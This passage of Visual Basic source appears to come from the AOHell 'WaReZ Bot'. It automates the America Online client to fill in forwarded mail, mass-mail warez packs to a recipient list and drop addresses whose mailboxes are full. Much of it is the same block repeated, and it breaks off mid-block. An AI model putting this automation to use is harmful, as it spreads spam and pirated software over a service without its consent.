    ' Find10% = FindChildByClass(MailHand, "_AOL_Edit")
        CursorChanged = 0
     For b = 1 To 100 'Find10% = 0
     If CursorChanged = 1 Then GoTo gag1
     MailHand = FindChildByTitle(thiswin%, "Fwd:") '= VBEnumChildWindows(MDIClient1, 1)'
     Find10% = FindChildByClass(MailHand, "_AOL_Edit")
     If Find10% <> 0 Then GoTo gag1
     DoEvents

    ' If Find10% <> 0 Then
    ' GoTo gag1
    ' End If

     If CursorChanged = 1 Then GoTo gag1
     DoEvents
     ''''If CursorChanged = 1 Then GoTo gag1
     ''''DoEvents
     ''''Call Pause(2)
     ''''If CursorChanged = 1 Then GoTo gag1
     ''''DoEvents
     If CursorChanged = 1 Then GoTo gag1
     PackStatus.VBMsg4.SendMessage = WM_LBUTTONDOWN
     PackStatus.VBMsg4.SendMessage = WM_LBUTTONUP
     'Exit Sub
     DoEvents
     Call Pause(.2)
     If CursorChanged = 1 Then GoTo gag1
     MailHand = FindChildByTitle(thiswin%, "Fwd:") '= VBEnumChildWindows(MDIClient1, 1)'
     Find10% = FindChildByClass(MailHand, "_AOL_Edit")
     If Find10% <> 0 Then GoTo gag1
     Call Pause(.1)
     If CursorChanged = 1 Then GoTo gag1
     PackStatus.VBMsg4.SendMessage = WM_LBUTTONDOWN
     PackStatus.VBMsg4.SendMessage = WM_LBUTTONUP

     DoEvents
     Next b

gag1:
 DoEvents
 Call Pause(.4)
 MailHand = VBEnumChildWindows(MDIClient1, 1)
 DoEvents

     'MailHand = FindChildByTitle(thiswin%, "Fwd:")
    SendHand1 = VBEnumChildWindows(MailHand, 2)
     ToHand = VBEnumChildWindows(MailHand, 6)
    While ToHand = 0
    If qui1 = 1000 Then GoTo endit
    DoEvents
    dobodo = 4 + 4
    DoEvents
    ToHand = VBEnumChildWindows(MailHand, 6)
    Wend

     SubjectHand = VBEnumChildWindows(MailHand, 10)
     MessageHand = VBEnumChildWindows(MailHand, 11)
  DoEvents

BackStar:

lint = 20000
lpstring = SendTo

a2 = SendMessageByString(ToHand, WM_SETTEXT, lint, lpstring) ',lint
DoEvents
'Call Pause(.1)
ret = Chr$(13) + Chr$(10)

   lpstring = "-==AOHell==-  WaReZ Bot  -==AOHell==-  Pack that you requested courtesy of " + ScreenName
   a3 = SendMessageByString(MessageHand, WM_SETTEXT, lint, lpstring) ',lint
   DoEvents
 '  Call Pause(.4)
   DoEvents
  ' Call Pause(.4)
'On Error
'GoTo puber

PackStatus.VBMsg4.SubClasshWnd = SendHand1
PackStatus.VBMsg4.SendMessage = WM_LBUTTONDOWN
DoEvents
Call Pause(.1)
PackStatus.VBMsg4.SendMessage = WM_LBUTTONUP
DoEvents
 thiswin1% = FindWindow(0, "America Online")
 While thiswin1% = 0
 If qui1 = 1000 Then GoTo endit
 DoEvents
 DoEvents
 dodo = 4 + 4
 DoEvents
 DoEvents
 thiswin1% = FindWindow(0, "America Online")
 Wend
  DoEvents

  StatBat = VBEnumChildWindows(thiswin1%, 3)

lint = 10000
lpstring = Space(10000)

    Gwar = 0
    chank1 = 0
    thiswin10% = 0

 Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Not Gwar > 0 Then GoTo Puber
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If

    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then

  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then

  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then

  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
    chank = SendTo
    chank1 = InStr(1, chank, gwar2)
     If chank1 > 0 Then
      gog = gog + 1
      gog1 = chank1 + Len(gwar2)
      chank1 = chank1 - 1
      chank2 = Mid$(chank, 1, chank1)
      chank3 = Mid$(chank, gog1)
      SendTo = chank2 + chank3

      olecap = Ebstat.Panel3D1.Caption
      Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + gwar2 + " from list."
      DoEvents
      Call Pause(2)
      SendKeys "{ENTER}"
      DoEvents
      Call Pause(1.5)
      Ebstat.Panel3D1.Caption = "Mass Mailing: " + SendTo
   End If
   End If
   End If
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    thiswin10% = FindWindow(0, "America Online")
    DoEvents
    If thiswin10% <> 0 Then
  StatBat = VBEnumChildWindows(thiswin10%, 3)

  Y = SendMessageByString(StatBat, WM_GETTEXT, lint, lpstring) ',lint
   lpstring = Trim$(lpstring)
   lpstring = UCase$(lpstring)
   chnk = SendTo
   SendTo = UCase$(chnk)

   Gwar = InStr(1, lpstring, "-")
   If Gwar > 0 Then
    Gwar = Gwar - 2
    gwar2 = Mid$(lpstring, 1, Gwar)
    gwar2 = Trim$(gwar2)
    gwar2 = UCase$(gwar2)
    gog = Len(gwar2)
